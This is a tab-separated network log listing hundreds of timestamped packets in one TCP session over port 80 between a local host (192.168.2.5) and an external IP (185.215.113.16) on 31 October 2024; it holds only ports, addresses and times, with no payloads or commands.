Oct 31, 2024 02:08:21.240890980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240892887 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.240901947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240912914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240916014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.240925074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240936995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240940094 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.240947962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240957022 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.240958929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240969896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240976095 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.240981102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240992069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241003990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241012096 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.241018057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241030931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241036892 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.241051912 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.241235018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241269112 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.241380930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241394043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241403103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241415024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241420984 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.241425037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241436958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241445065 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.241447926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241461039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241472006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241477966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241483927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241489887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241491079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.241513014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241523027 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.241524935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241537094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241537094 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.241552114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241563082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241564035 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.241586924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241586924 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.241599083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241610050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241621017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241624117 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.241638899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241647959 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.241650105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241661072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241671085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241681099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241683960 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.241693020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241703987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241710901 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.241714954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241723061 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.241727114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241739988 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.241745949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.241760015 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.242038012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242049932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242060900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242073059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242078066 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.242101908 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.242289066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242305040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242316961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242327929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242338896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242342949 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.242351055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242362022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242366076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.242376089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242383003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.242387056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242393017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242398024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242402077 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.242403030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242414951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242427111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242438078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242449045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242461920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242463112 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.242471933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242484093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242486000 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.242496967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242507935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242507935 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.242513895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242518902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242530107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242535114 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.242541075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242552042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242559910 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.242563009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242574930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242583990 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.242585897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242597103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242599964 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.242609978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242621899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242623091 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.242633104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242644072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242654085 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.242656946 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242669106 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.242669106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242681980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.242703915 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.242722034 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.243030071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243041992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243052006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243066072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243074894 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.243077993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243098021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243103981 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.243140936 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.243181944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243194103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243205070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243216991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243227959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243232965 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.243240118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243251085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243252993 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.243262053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243273973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243278027 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.243284941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243295908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243304968 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.243308067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243325949 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.243330002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243344069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243354082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243365049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243366003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.243377924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243386984 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.243388891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243401051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243411064 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.243412018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243424892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243424892 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.243443966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243455887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243459940 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.243468046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243478060 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.243479013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243491888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243501902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243505955 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.243509054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243515968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243529081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243540049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243540049 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.243551970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243562937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243575096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243586063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243587017 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.243607044 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.243614912 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.243959904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.243972063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244005919 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.244107008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244117975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244128942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244142056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244153023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244157076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.244163990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244177103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244179010 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.244184017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244194984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244199038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.244205952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244216919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244227886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244237900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244251013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244252920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.244261980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244278908 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.244278908 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.244287014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.244292021 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.244359970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244457960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244468927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244486094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244498014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244503021 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.244508982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244519949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244524956 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.244546890 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.244640112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244651079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244662046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244673967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244684935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244687080 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.244697094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244704962 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.244713068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244724035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244726896 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.244735956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244752884 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.244786978 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.244870901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244889021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244899988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.244924068 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.245872021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.245923996 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.245937109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.245949030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.245959044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.245980978 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.255891085 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.260831118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.260843992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.260854959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.260885954 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.260890007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.260905981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.260919094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.260921001 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.260931969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.260946989 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.260966063 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.260991096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.261003017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.261020899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.261034012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.261045933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.261045933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.261065960 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.261128902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.261146069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.261157990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.261168957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.261169910 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.261181116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.261192083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.261193037 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.261203051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.261214018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.261219978 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.261224985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.261235952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.261238098 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.261264086 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.261290073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.261301994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.261328936 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.261399031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.261410952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.261420965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.261432886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.261435986 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.261445045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.261457920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.261465073 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.261470079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.261492014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.261502981 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.277791977 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.289843082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.289855003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.289866924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.289912939 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.324594021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.324614048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.324630976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.324641943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.324651957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.324662924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.324675083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.324686050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.324700117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.324704885 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.324714899 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.324728012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.324738979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.324750900 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.324750900 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.324779987 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.324925900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.324938059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.324954033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.325001955 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.326036930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326101065 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.326132059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326145887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326158047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326169968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326183081 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.326183081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326209068 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.326239109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326251030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326261997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326275110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326277018 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.326287031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326292038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.326299906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326323032 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.326385021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326402903 CET	80	49712	185.215.113.16	192.168.2.5
